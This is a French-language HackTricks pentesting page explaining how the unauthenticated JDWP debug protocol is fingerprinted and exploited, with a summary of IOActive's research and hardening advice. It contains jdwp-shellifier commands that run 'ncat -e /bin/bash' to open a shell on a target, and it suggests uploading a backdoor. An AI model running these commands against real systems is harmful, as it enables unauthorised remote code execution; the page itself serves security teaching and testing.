Pentesting JDWP - Java Debug Wire Protocol
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Exploitation
L'exploitation de JDWP repose sur le manque d'authentification et de chiffrement du protocole. Il se trouve gĂ©nĂ©ralement sur le port 8000, mais d'autres ports sont possibles. La connexion initiale se fait en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il rĂ©pond avec la mĂȘme chaĂźne, confirmant sa prĂ©sence. Cette poignĂ©e de main sert de mĂ©thode de fingerprinting pour identifier les services JDWP sur le rĂ©seau.
En termes d'identification de processus, rechercher la chaĂźne "jdwk" dans les processus Java peut indiquer une session JDWP active.
L'outil de référence est jdwp-shellifier. Vous pouvez l'utiliser avec différents paramÚtres :
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
J'ai constaté que l'utilisation de --break-on 'java.lang.String.indexOf'
rend l'exploit plus stable. Et si vous avez la chance de télécharger un backdoor sur l'hÎte et de l'exécuter au lieu d'exécuter une commande, l'exploit sera encore plus stable.
Plus de détails
Ceci est un résumé de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Consultez-le pour plus de détails.
- Aperçu de JDWP :
- C'est un protocole binaire réseau basé sur des paquets, principalement synchrone.
- Manque d'authentification et de cryptage, le rendant vulnérable lorsqu'il est exposé à des réseaux hostiles.
- Handshake JDWP :
- Un processus de handshake simple est utilisĂ© pour initier la communication. Une chaĂźne ASCII de 14 caractĂšres âJDWP-Handshakeâ est Ă©changĂ©e entre le DĂ©bogueur (client) et le DĂ©boguĂ© (serveur).
- Communication JDWP :
- Les messages ont une structure simple avec des champs comme Longueur, Id, Drapeau et CommandSet.
- Les valeurs de CommandSet varient de 0x40 à 0x80, représentant différentes actions et événements.
- Exploitation :
- JDWP permet de charger et d'invoquer des classes et du bytecode arbitraires, posant des risques de sécurité.
- L'article dĂ©taille un processus d'exploitation en cinq Ă©tapes, impliquant la rĂ©cupĂ©ration des rĂ©fĂ©rences Java Runtime, la dĂ©finition de points d'arrĂȘt et l'invocation de mĂ©thodes.
- Exploitation dans la vie réelle :
- Malgré les protections potentielles des pare-feu, les services JDWP sont découvrables et exploitables dans des scénarios réels, comme le démontrent les recherches sur des plateformes comme ShodanHQ et GitHub.
- Le script d'exploitation a été testé contre diverses versions de JDK et est indépendant de la plateforme, offrant une exécution de code à distance (RCE) fiable.
- Implications de sécurité :
- La présence de services JDWP ouverts sur Internet souligne la nécessité de révisions de sécurité réguliÚres, de désactiver les fonctionnalités de débogage en production et de configurations appropriées des pare-feu.
Références :
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.